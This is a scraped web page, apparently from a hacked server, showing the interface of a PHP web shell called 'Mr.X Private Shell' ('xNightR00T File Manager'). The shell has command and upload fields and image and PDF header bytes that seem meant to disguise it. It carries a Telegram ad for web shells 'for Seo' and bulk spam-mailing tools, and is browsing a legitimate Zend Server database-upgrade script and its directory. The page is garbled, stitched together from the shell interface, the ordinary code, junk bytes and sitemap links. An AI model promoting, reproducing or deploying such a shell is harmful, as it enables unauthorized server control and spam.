xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

require_once dirname(__FILE__) . "/zs_component_upgrader.php";

class DeploymentDBHandler extends ZSComponentUpgrader {

	protected function getSqliteDbName($version = "6.0.0") {
		return "deployment.db";
	}

	protected function getMysqlSqlFilenames() {
		return array("deployment_mysql_create_database.sql");
	}

	protected function getSqliteSqlFilenames() {
		return array("deployment_sqlite_create_database.sql");
	}

	public function getComponent() { return "deployment"; }

	public function getSchemaVersion() { return "2019.0.0"; }

	public function getSqliteSchemaVersion() {
		$dbh = $this->getSqliteDbh();
		if (!$dbh) {
			return null;
		}
		$res = $dbh->query("SELECT value FROM deployment_properties WHERE name = 'SCHEMA_VERSION'")->fetchAll();
		foreach ($res as $row) {
			return $this->getParsedVersionString($row['value']);
		}

		return null;
	}

	/**
	 *
	 * @param PDO $dbh
	 * @param unknown $version
	 * @return unknown|boolean
	 */
	public function setSqliteSchemaVersion($dbh, $version) {
		$stmt = $dbh->prepare("INSERT OR REPLACE INTO deployment_properties VALUES('SCHEMA_VERSION', :version)");
		$stmt->bindValue(":version", $version);
		return $stmt->execute();
	}

	public function getMysqlSchemaVersion() {
		$dbh = $this->getMySqlDbh();
		$res = $dbh->query("SELECT property_value FROM schema_properties WHERE property = 'DEPLOYMENT_SCHEMA_VERSION'")->fetchAll();
		foreach ($res as $row) {
			return $row['property_value'];
		}

		return false;
	}

	/**
	 *
	 * @param PDO $dbh
	 * @param unknown $version
	 * @return unknown|boolean
	 */
	public function setMysqlSchemaVersion($dbh, $version) {
		$stmt = $dbh->prepare("REPLACE INTO schema_properties VALUES('DEPLOYMENT_SCHEMA_VERSION', :version)");
		$stmt->bindValue(":version", $version);
		return $stmt->execute();
	}


	public function upgradeSqlite() {

		if (file_exists($this->getSqliteDbPath())) {
			message("Database at " . $this->getSqliteDbPath() . " already exists");
			return;
		}

		$fromVersion = $this->copySqliteFromPreviousVersions();
		if (!$fromVersion) {
			$this->createCleanSqliteDatabase();
			return;
		}


		$dbh = $this->getSqliteDbh();

		if ($fromVersion == "5.6.0") {

			try {
				$dbh->beginTransaction();

				message("Upgrading 5.6 Deployment SQLITE DB");
				$dbh->exec("ALTER TABLE deployment_apps ADD is_defined INTEGER DEFAULT 0;
							ALTER TABLE deployment_packages ADD monitor_rules TEXT;
							ALTER TABLE deployment_packages ADD pagecache_rules TEXT;
							ALTER TABLE deployment_tasks ADD audit_id INTEGER DEFAULT 0;
							UPDATE deployment_properties SET value = '1.0.10' WHERE name = 'SCHEMA_VERSION';
							");

				$dbh->commit();
			} catch (PDOException $exc) {
				ERROR($exc->getMessage());
				$dbh->rollback();
			}
		}

		if (!$this->isTableExists($dbh, "deployment_libs_status")) {
			message ("Creating libraries tables");

			$dbh->exec("
					CREATE TABLE IF NOT EXISTS deployment_libs (
						lib_id INTEGER PRIMARY KEY AUTOINCREMENT,
						is_defined INTEGER DEFAULT 0
						);

					CREATE TABLE IF NOT EXISTS deployment_libs_versions (
									lib_version_id INTEGER PRIMARY KEY AUTOINCREMENT,
									lib_id INTEGER,
									task_descriptor_id INTEGER UNIQUE,
									creation_time INTEGER
									);

					CREATE TABLE IF NOT EXISTS deployment_libs_status (
									lib_status_id INTEGER PRIMARY KEY AUTOINCREMENT,
									lib_version_id INTEGER,
									status VARCHAR(32),
									node_id INTEGER,
									install_path VARCHAR(4096),
									last_message VARCHAR(1024),
									last_updated INTEGER
									);

					CREATE INDEX IF NOT EXISTS IDX_DEPLOYMENT_LIBS_VERSIONS_LIB_ID on deployment_libs_versions(lib_id);
					CREATE INDEX IF NOT EXISTS IDX_DEPLOYMENT_LIBS_STATUS_VERSION_ID on deployment_libs_status(lib_version_id);

					INSERT OR REPLACE INTO deployment_properties VALUES('SCHEMA_VERSION', '1.0.11');
					");
		}

		$schemaVersion = $this->getSqliteSchemaVersion();
		if (version_compare($schemaVersion, "1.0.11", "<=")) {
			message ("Upgrading to 6.2.0 (schema version 1.0.12)");

			$dbh->exec("
					ALTER TABLE deployment_libs_versions ADD is_default INTEGER;
					ALTER TABLE deployment_apps ADD vhost_id INTEGER NOT NULL DEFAULT -1;

					CREATE TABLE IF NOT EXISTS deployment_downloads (
						id INTEGER PRIMARY KEY AUTOINCREMENT,
						app_id INTEGER DEFAULT NULL,
						lib_id INTEGER DEFAULT NULL,
						url VARCHAR(4096) NOT NULL,
						extra_data TEXT,
						path VARCHAR(4096),
						status INTEGER,
						message VARCHAR(4096),
						total INTEGER,
						downloaded INTEGER,
						start_time INTEGER
					);

					CREATE TABLE IF NOT EXISTS deployment_apps_info (
						id INTEGER PRIMARY KEY,
						base_url VARCHAR(128),
						path VARCHAR(4096)
					);

					CREATE TABLE IF NOT EXISTS deployment_libs_info (
						id INTEGER PRIMARY KEY,
						name VARCHAR(128) NOT NULL,
						path VARCHAR(128) UNIQUE,
						is_default integer  default 0,
						version VARCHAR(128) NOT NULL
					);
					");

			$this->setSqliteSchemaVersion($dbh, '1.0.12');

			$this->resolveDefaultLibrary($dbh);
		}

		$schemaVersion = $this->getSqliteSchemaVersion();
		if (version_compare($schemaVersion, "1.0.12", "<=")) {
			message ("Upgrading to 6.3.0 (schema version 1.0.13)");

			$dbh->exec("ALTER TABLE deployment_packages ADD readme TEXT");

			$this->setSqliteSchemaVersion($dbh, '1.0.13');
		}

		$schemaVersion = $this->getSqliteSchemaVersion();
		if (version_compare($schemaVersion, "8.5.0", "<")) {
			message ("Upgrading to 8.5.0");

			$dbh->exec("CREATE TABLE IF NOT EXISTS deployment_plugins (
						plugin_id INTEGER PRIMARY KEY AUTOINCREMENT,
						unique_plugin_id VARCHAR(128)
						);
						/*CREATE UNIQUE INDEX IF NOT EXISTS IDX_DEPLOYMENT_PLUGINS_UNIQUE_PLUGIN_ID on deployment_plugins (unique_plugin_id);*/

						CREATE TABLE IF NOT EXISTS deployment_plugins_versions(
										plugin_version_id INTEGER PRIMARY KEY AUTOINCREMENT,
										plugin_id INTEGER NOT NULL,
										task_descriptor_id INTEGER,
										type_route INTEGER, /* 1 if contains route data, 0 if doesn't */
										type_zray INTEGER, /* 1 if contains zray data, 0 if doesn't */
										type_zs_ui INTEGER, /* 1 if contains zs ui extension data, 0 if doesn't */
										creation_time INTEGER NOT NULL,
										last_used INTEGER NOT NULL
						);
						CREATE INDEX IF NOT EXISTS IDX_DEPLOYMENT_PLUGINS_VERSIONS_PLUGIN_ID on deployment_plugins_versions (plugin_id);
						CREATE UNIQUE INDEX IF NOT EXISTS IDX_DEPLOYMENT_PLUGINS_VERSIONS_TASK_DESCRIPTOR on deployment_plugins_versions (task_descriptor_id);

						CREATE TABLE IF NOT EXISTS deployment_plugins_status(
										plugin_status_id INTEGER PRIMARY KEY AUTOINCREMENT,
										plugin_version_id INTEGER,
										status VARCHAR(32),
										node_id INTEGER,
										install_path VARCHAR(4096),
										last_message VARCHAR(1024),
										last_updated INTEGER,
										next_status INTEGER DEFAULT -1
										);
						CREATE INDEX IF NOT EXISTS IDX_DEPLOYMENT_PLUGINS_STATUS_PLUGIN_VERSION_ID on deployment_plugins_status (plugin_version_id);
						CREATE INDEX IF NOT EXISTS IDX_DEPLOYMENT_PLUGINS_STATUS_PLUGIN_NODE_ID on deployment_plugins_status (node_id);");

			$this->setSqliteSchemaVersion($dbh, '8.5.0');
		}

		$schemaVersion = $this->getSqliteSchemaVersion();
		if (version_compare($schemaVersion, "9.1.0", "<")) {
			message ("Upgrading to 9.1.0");
			// update the name of the apps in deployment_apps_info
			$dbh->exec("
			ALTER TABLE deployment_apps_info RENAME TO deployment_apps_info_bak;
			CREATE TABLE IF NOT EXISTS deployment_apps_info (
				id INTEGER PRIMARY KEY AUTOINCREMENT,
				app_id INTEGER NOT NULL,
				base_url VARCHAR(128),
				path VARCHAR(4096),
				name VARCHAR(128),
				version VARCHAR(128),
				webserver_path VARCHAR(4096));
			insert into deployment_apps_info (app_id, base_url, path) select id, base_url, path from deployment_apps_info_bak;
			drop table deployment_apps_info_bak;
			update deployment_apps_info set version = (select deployment_packages.version from deployment_packages left join deployment_tasks_descriptors on (deployment_tasks_descriptors.package_id = deployment_packages.package_id) where deployment_tasks_descriptors.base_url = deployment_apps_info.base_url);
			update deployment_apps_info set name = (select deployment_packages.name from deployment_packages left join deployment_tasks_descriptors on (deployment_tasks_descriptors.package_id = deployment_packages.package_id) where deployment_tasks_descriptors.base_url = deployment_apps_info.base_url);");

			$this->setSqliteSchemaVersion($dbh, '9.1.0');
		}

		if (version_compare($schemaVersion, "2018.0.0", "<")) {
			$nodeId = (int) get_cfg_var('zend.node_id');
			$now = time();
			message ("Upgrading to 2018.0.0");
			$dbh->exec("CREATE TABLE IF NOT EXISTS deployment_apps_vhosts_status (
                id INTEGER  PRIMARY KEY AUTOINCREMENT,
				app_id INTEGER NOT NULL,
				vhost_id INTEGER NOT NULL,
				status VARCHAR(32) NOT NULL,
				last_message VARCHAR(1024),
				last_updated INTEGER NOT NULL,
				node_id INTEGER NOT NULL
				);
				CREATE UNIQUE INDEX IF NOT EXISTS IDX_DEPLOYMENT_APP_VHOST_UNIQUE on deployment_apps_vhosts_status(app_id, vhost_id, node_id);

				insert into deployment_apps_vhosts_status select NULL,app_id, vhost_id, 'ATTACHED', '', {$now}, {$nodeId} from deployment_apps where is_defined=0;

				ALTER TABLE deployment_apps_versions ADD is_stable INTEGER DEFAULT 0;
				UPDATE deployment_apps_versions SET is_stable=1;

				ALTER TABLE deployment_tasks ADD task_executions_count INTEGER DEFAULT 0;

				ALTER TABLE deployment_apps ADD application_pool VARCHAR(256);

				");
			$this->setSqliteSchemaVersion($dbh, '2018.0.0');
		}

	}


	private function copyAppsDataFrom56() {
		message("Copying deployment information from old Mysql schema");
		$dbh56 = $this->getMySqlDbh("5.6.0");

		$dbSettings56 = $this->getDbSettings("5.6.0");
		$dbName56 = $dbSettings56->getDbName();
		$dbName = "ZendServer";

		$queries = "";
		$queries.= "INSERT INTO $dbName.deployment_apps select app_id, base_url, user_app_name, 0, -1 from $dbName56.deployment_apps;";
		$queries.= "INSERT INTO $dbName.deployment_packages select package_id, path, eula, '', logo, package_descriptor, name, version, NULL, NULL from $dbName56.deployment_packages;";
		$queries.= "INSERT INTO $dbName.deployment_tasks select task_id, group_id, node_id, type, task_descriptor_id, 0 from $dbName56.deployment_tasks;";
		$queries.= "INSERT INTO $dbName.deployment_package_data select * from $dbName56.deployment_package_data;";
		$queries.= "INSERT INTO $dbName.deployment_tasks_descriptors select * from $dbName56.deployment_tasks_descriptors;";
		$queries.= "INSERT INTO $dbName.deployment_apps_versions select * from $dbName56.deployment_apps_versions;";
		$queries.= "INSERT INTO $dbName.deployment_app_status select * from $dbName56.deployment_app_status;";
		$queries.= "INSERT INTO $dbName.deployment_sequencer select * from $dbName56.deployment_sequencer;";
		$queries.= "INSERT INTO $dbName.deployment_nodes_status select * from $dbName56.deployment_nodes_status;";
		$queries.= "INSERT INTO $dbName.deployment_vhosts select * from $dbName56.deployment_vhosts;";

		$dbh = $this->getMySqlDbh("5.6.0");
		$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		try {
			$dbh->beginTransaction();

			$dbh->exec($queries);

			$dbh->commit();

		} catch (Exception $ex) {

			if (!strstr($ex->getMessage(), "already exists") && !stristr($ex->getMessage(), "duplicate")) {
				$dbh->rollBack();
				message($ex->getMessage());
			}
		}
	}

	private function isDbPopulated() {
		$dbh = $this->getMySqlDbh();
		foreach ($dbh->query('select count(*) as apps_count from deployment_apps') as $row) {
			if ($row['apps_count'] > 0) {
				message("App data is populated");
				return true;
			} else {
				message("App data is not populated");
				return false;
			}
		}

		message("Cannot determine app data");
		return false;
	}

	/**
	 *
	 * @param PDO $dbh
	 */
    protected function resolveDefaultLibrary($dbh) {
        $stmt = $dbh->prepare("SELECT deployment_libs.*, deployment_libs_versions.*, deployment_libs_status.*, deployment_packages.* from deployment_libs_status left join deployment_libs_versions on (deployment_libs_status.lib_version_id = deployment_libs_versions.lib_version_id) left join deployment_libs on (deployment_libs_versions.lib_id = deployment_libs.lib_id) left join deployment_tasks_descriptors on (deployment_tasks_descriptors.task_descriptor_id = deployment_libs_versions.task_descriptor_id) left join deployment_packages on (deployment_packages.package_id = deployment_tasks_descriptors.package_id) group by deployment_libs_versions.lib_version_id");
        $res = $stmt->execute();

        $libs = array();
        if ($res) {
            foreach ( $stmt->fetchAll () as $row ) {
                $libId = $row['lib_id'];
                if (!isset($libs[$libId])) {
                    $libs[$libId] = array();
                }
                $libs[$libId][$row['version']] = $row;
            }
        }

        // sort all internal lib versions by their versions strings
        foreach ($libs as $libId => $libVersions) {
            uksort($libVersions, "version_compare");
            $highestVersion = end($libVersions);
            message("Library " . $highestVersion['name'] . " " . $highestVersion['version'] . " is to be set as the default");

            $libVersionId = $highestVersion['lib_version_id'];

            $dbh->exec("update deployment_libs_versions set is_default = 0 where lib_id = $libId and lib_version_id != $libVersionId");
            $dbh->exec("update deployment_libs_versions set is_default = 1 where lib_id = $libId and lib_version_id = $libVersionId");
        }

    }

    protected function upgradeMysql() {

        $this->createCleanMysqlDatabase();

        $dbh = $this->getMySqlDbh();
        if ($dbh) {
            if (!$this->isTableExists($dbh, "deployment_libs_status")) {
                message ("Creating libraries tables");

                $dbh->exec("
                    CREATE TABLE IF NOT EXISTS deployment_libs (
                        lib_id INTEGER PRIMARY KEY AUTO_INCREMENT,
                        is_defined INTEGER DEFAULT 0
                        ) ENGINE=MyISAM;

                    CREATE TABLE IF NOT EXISTS deployment_libs_versions (
                                    lib_version_id INTEGER PRIMARY KEY AUTO_INCREMENT,
                                    lib_id INTEGER,
                                    task_descriptor_id INTEGER UNIQUE,
                                    creation_time INTEGER
                                    ) ENGINE=MyISAM;

                    CREATE TABLE IF NOT EXISTS deployment_libs_status (
                                    lib_status_id INTEGER PRIMARY KEY AUTO_INCREMENT,
                                    lib_version_id INTEGER,
                                    status VARCHAR(32),
                                    node_id INTEGER,
                                    install_path VARCHAR(4096),
                                    last_message VARCHAR(1024),
                                    last_updated INTEGER
                                    ) ENGINE=MyISAM;

                    CREATE INDEX IDX_DEPLOYMENT_LIBS_VERSIONS_LIB_ID on deployment_libs_versions(lib_id);
                    CREATE INDEX IDX_DEPLOYMENT_LIBS_STATUS_VERSION_ID on deployment_libs_status(lib_version_id);

                    REPLACE INTO schema_properties VALUES('DEPLOYMENT_SCHEMA_VERSION', '1.0.11');
                    ");
            }

            $schemaVersion = $this->getMysqlSchemaVersion();
			message("Schema version is $schemaVersion");
            if (version_compare($schemaVersion, "1.0.11", "<=")) {
                message ("Upgrading to 6.2.0 (schema version 1.0.12)");

                $dbh->exec("
                        ALTER TABLE deployment_libs_versions ADD is_default INTEGER;
                        ALTER TABLE deployment_apps ADD vhost_id INTEGER NOT NULL DEFAULT -1;
                        ");
                $this->setMysqlSchemaVersion($dbh, '1.0.12');

                $this->resolveDefaultLibrary($dbh);
            }

            $schemaVersion = $this->getMysqlSchemaVersion();
            if (version_compare($schemaVersion, "1.0.12", "<=")) {
            	message ("Upgrading to 6.3.0 (schema version 1.0.13)");

            	$dbh->exec("ALTER TABLE deployment_packages ADD readme TEXT");

            	$this->setMysqlSchemaVersion($dbh, '1.0.13');
            }

            $schemaVersion = $this->getMysqlSchemaVersion();
            if (version_compare($schemaVersion, "8.5.0", "<")) {
            	message ("Upgrading to 8.5.0");

            	$dbh->exec("CREATE TABLE deployment_plugins (
							plugin_id INTEGER PRIMARY KEY AUTO_INCREMENT,
							unique_plugin_id VARCHAR(128)
							) ENGINE=MyISAM DEFAULT CHARSET=latin1;
							/*CREATE UNIQUE INDEX IDX_DEPLOYMENT_PLUGINS_UNIQUE_PLUGIN_ID on deployment_plugins (unique_plugin_id);*/

							CREATE TABLE deployment_plugins_versions(
											plugin_version_id INTEGER PRIMARY KEY AUTO_INCREMENT,
											plugin_id INTEGER NOT NULL,
											task_descriptor_id INTEGER,
											type_route INTEGER, /* 1 if contains route data, 0 if doesn't */
											type_zray INTEGER, /* 1 if contains zray data, 0 if doesn't */
											type_zs_ui INTEGER, /* 1 if contains zs ui extension data, 0 if doesn't */
											creation_time INTEGER NOT NULL,
											last_used INTEGER NOT NULL
											) ENGINE=MyISAM;
							CREATE INDEX IDX_DEPLOYMENT_PLUGINS_VERSIONS_PLUGIN_ID on deployment_plugins_versions (plugin_id);
							CREATE UNIQUE INDEX IDX_DEPLOYMENT_PLUGINS_VERSIONS_TASK_DESCRIPTOR on deployment_plugins_versions (task_descriptor_id);

							CREATE TABLE deployment_plugins_status(
											plugin_status_id INTEGER PRIMARY KEY AUTO_INCREMENT,
											plugin_version_id INTEGER,
											status VARCHAR(32),
											node_id INTEGER,
											install_path VARCHAR(4096),
											last_message VARCHAR(1024),
											last_updated INTEGER,
											next_status INTEGER DEFAULT -1
											) ENGINE=MyISAM;
							CREATE INDEX IDX_DEPLOYMENT_PLUGINS_STATUS_PLUGIN_VERSION_ID on deployment_plugins_status (plugin_version_id);
							CREATE INDEX IDX_DEPLOYMENT_PLUGINS_STATUS_PLUGIN_NODE_ID on deployment_plugins_status (node_id);

							ALTER TABLE deployment_packages MODIFY logo MEDIUMTEXT;

							");

            	$this->setMysqlSchemaVersion($dbh, '8.5.0');
            }

			$schemaVersion = $this->getMysqlSchemaVersion();
            if (version_compare($schemaVersion, "9.0.0", "<")) {
            	message ("Upgrading to 9.0.0");

            	$dbh->exec("CREATE INDEX IDX_DEPLOYMENT_PACKAGE_DATA_PLUGIN_ID on deployment_package_data(package_id)");

            	$this->setMysqlSchemaVersion($dbh, '9.0.0');
            }

			$schemaVersion = $this->getMysqlSchemaVersion();
			if (version_compare($schemaVersion, "9.1.0", "<")) {
				message ("Upgrading to 9.1.0");
				$this->setMysqlSchemaVersion($dbh, '9.1.0');
			}

			$schemaVersion = $this->getMysqlSchemaVersion();
			if (version_compare($schemaVersion, "2018.0.0", "<")) {
				$nodeId = (int) get_cfg_var('zend.node_id');
				$now = time();
				message ("Upgrading to 2018.0.0");
				$dbh->exec("CREATE TABLE deployment_apps_vhosts_status (
                id BIGINT PRIMARY KEY AUTO_INCREMENT,
				app_id INTEGER NOT NULL,
				vhost_id INTEGER NOT NULL,
				status VARCHAR(32) NOT NULL,
				last_message VARCHAR(1024),
				last_updated INTEGER NOT NULL,
				node_id INTEGER NOT NULL
				) ENGINE=Innodb;
CREATE UNIQUE INDEX IDX_DEPLOYMENT_APP_VHOST_UNIQUE on deployment_apps_vhosts_status(app_id, vhost_id, node_id);

				insert into deployment_apps_vhosts_status select NULL,app_id, vhost_id, 'ATTACHED', '', {$now}, {$nodeId} from deployment_apps where is_defined=0;

				ALTER TABLE deployment_apps_versions ADD is_stable INTEGER DEFAULT 0;
				UPDATE deployment_apps_versions SET is_stable=1;

				ALTER TABLE deployment_tasks ADD task_executions_count INTEGER DEFAULT 0;

				ALTER TABLE deployment_apps ADD application_pool VARCHAR(256);

				");
				$this->setMysqlSchemaVersion($dbh, '2018.0.0');
			}
        }


        $dbSettings = $this->getDbSettings();
        if ($dbSettings && $dbSettings->isMysql() && $this->isDbPopulated()) {
            return;
        }

        $dbh6 = $this->getMySqlDbh("6.0.0");
        if ($dbh6) {
            message("Upgrade from 6.0.0 - doing nothing");
            return;
        }

        $dbh56 = $this->getMysqlDbh("5.6.0");
        if ($dbh56) {
            $this->copyAppsDataFrom56();
        }
    }

    public function upgrade() {

    	if (version_compare($this->getUpgradeFromVersion(), "6.1.0", ">=" )) {
    		$packagesBackups = glob($this->getLibsDir() . "/*.bak");
    		foreach ($packagesBackups as $lib) {
    			message("Deleting package backup " . $lib);
    			@unlink($lib);
    		}
    	}

        $this->upgradeSqlite();

        if ($this->isClusterUpgrade()) {
            $this->upgradeMysql();
        }
    }

    }

?>

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml